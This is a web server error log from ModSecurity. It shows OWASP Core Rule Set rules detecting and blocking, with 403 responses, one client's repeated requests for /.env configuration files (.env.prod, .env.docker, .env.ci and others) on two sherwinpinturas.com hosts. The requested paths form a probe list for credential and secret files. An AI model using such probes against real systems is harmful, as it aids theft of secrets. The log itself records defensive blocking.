[Mon Oct 26 02:13:17.130781 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7vfZMnyYq70WIUET3r2AAAABc"]
[Mon Oct 26 02:13:17.131003 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at7vfZMnyYq70WIUET3r2AAAABc"]
[Mon Oct 26 02:13:17.341385 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7vfcsSJ_JPXSgPpTUB3AAAAA4"]
[Mon Oct 26 02:13:17.341608 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7vfcsSJ_JPXSgPpTUB3AAAAA4"]
[Mon Oct 26 02:13:17.341889 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7vfcsSJ_JPXSgPpTUB3AAAAA4"]
[Mon Oct 26 02:13:17.345597 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7vfZMnyYq70WIUET3r2QAAABc"]
[Mon Oct 26 02:13:17.345758 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7vfZMnyYq70WIUET3r2QAAABc"]
[Mon Oct 26 02:13:17.346002 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at7vfZMnyYq70WIUET3r2QAAABc"]
[Mon Oct 26 02:13:17.566255 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7vfcsSJ_JPXSgPpTUB3QAAAA4"]
[Mon Oct 26 02:13:17.566505 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7vfcsSJ_JPXSgPpTUB3QAAAA4"]
[Mon Oct 26 02:13:17.566831 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7vfcsSJ_JPXSgPpTUB3QAAAA4"]
[Mon Oct 26 02:13:17.568022 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7vfZMnyYq70WIUET3r2gAAABc"]
[Mon Oct 26 02:13:17.568176 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7vfZMnyYq70WIUET3r2gAAABc"]
[Mon Oct 26 02:13:17.568409 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at7vfZMnyYq70WIUET3r2gAAABc"]
[Mon Oct 26 02:13:17.802899 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7vfZMnyYq70WIUET3r2wAAABc"]
[Mon Oct 26 02:13:17.803174 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7vfZMnyYq70WIUET3r2wAAABc"]
[Mon Oct 26 02:13:17.803515 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7vfZMnyYq70WIUET3r2wAAABc"]
[Mon Oct 26 02:13:17.804270 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7vfcsSJ_JPXSgPpTUB3gAAAA4"]
[Mon Oct 26 02:13:17.804430 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7vfcsSJ_JPXSgPpTUB3gAAAA4"]
[Mon Oct 26 02:13:17.804694 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at7vfcsSJ_JPXSgPpTUB3gAAAA4"]
[Mon Oct 26 02:13:18.021676 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7vfpMnyYq70WIUET3r3AAAABc"]
[Mon Oct 26 02:13:18.021967 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7vfpMnyYq70WIUET3r3AAAABc"]
[Mon Oct 26 02:13:18.022297 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7vfpMnyYq70WIUET3r3AAAABc"]
[Mon Oct 26 02:13:18.031950 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7vfssSJ_JPXSgPpTUB3wAAAA4"]
[Mon Oct 26 02:13:18.032178 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7vfssSJ_JPXSgPpTUB3wAAAA4"]
[Mon Oct 26 02:13:18.032539 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at7vfssSJ_JPXSgPpTUB3wAAAA4"]
[Mon Oct 26 02:13:18.252180 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7vfpMnyYq70WIUET3r3QAAABc"]
[Mon Oct 26 02:13:18.252485 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7vfpMnyYq70WIUET3r3QAAABc"]
[Mon Oct 26 02:13:18.252771 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7vfpMnyYq70WIUET3r3QAAABc"]
[Mon Oct 26 02:13:18.257643 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7vfssSJ_JPXSgPpTUB4AAAAA4"]
[Mon Oct 26 02:13:18.258023 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7vfssSJ_JPXSgPpTUB4AAAAA4"]
[Mon Oct 26 02:13:18.258297 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at7vfssSJ_JPXSgPpTUB4AAAAA4"]
[Mon Oct 26 02:13:18.559789 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7vfssSJ_JPXSgPpTUB4QAAAA4"]
[Mon Oct 26 02:13:18.559846 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7vfpMnyYq70WIUET3r3gAAABc"]
[Mon Oct 26 02:13:18.560078 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7vfssSJ_JPXSgPpTUB4QAAAA4"]
[Mon Oct 26 02:13:18.560087 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7vfpMnyYq70WIUET3r3gAAABc"]
[Mon Oct 26 02:13:18.560385 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7vfssSJ_JPXSgPpTUB4QAAAA4"]
[Mon Oct 26 02:13:18.560466 2026] [security2:error] [pid 2978303:tid 2978303] [client 34.21.170.10:59616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at7vfpMnyYq70WIUET3r3gAAABc"]
[Mon Oct 26 02:13:18.568879 2026] [ssl:error] [pid 2980211:tid 2980211] (70014)End of file found: [client 54.157.99.244:9059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:13:18.775773 2026] [security2:error] [pid 2978293:tid 2978293] [client 34.21.170.10:59610] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at7vfssSJ_JPXSgPpTUB4gAAAA4"]
